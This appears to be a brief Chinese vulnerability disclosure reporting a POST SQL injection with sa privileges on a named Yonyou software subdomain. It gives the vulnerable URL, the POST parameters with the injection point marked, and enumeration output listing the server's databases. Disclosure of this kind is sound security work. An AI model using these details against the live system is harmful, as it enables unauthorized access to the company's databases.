用友软件分站流通与零售行业事业部某处出现POST注射, SA权限。只发现问题,不深入,不作恶。
http://soft-sk.yonyou.com/service/jszc.jsp #URL
asktypeid=---注射点---&enddate=JyI%3d&prikey=1&startdate=01/01/1967&Submit=%b2%e9%d1%af #POST数据
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
current user: 'sa'
current database: 'newsksoft'
available databases [11]:
[*] ccerp
[*] cdm
[*] ksoa
[*] master
[*] model
[*] msdb
[*] newsksoft
[*] old_ccerp
[*] skmaster
[*] st_ccerp
[*] tempdb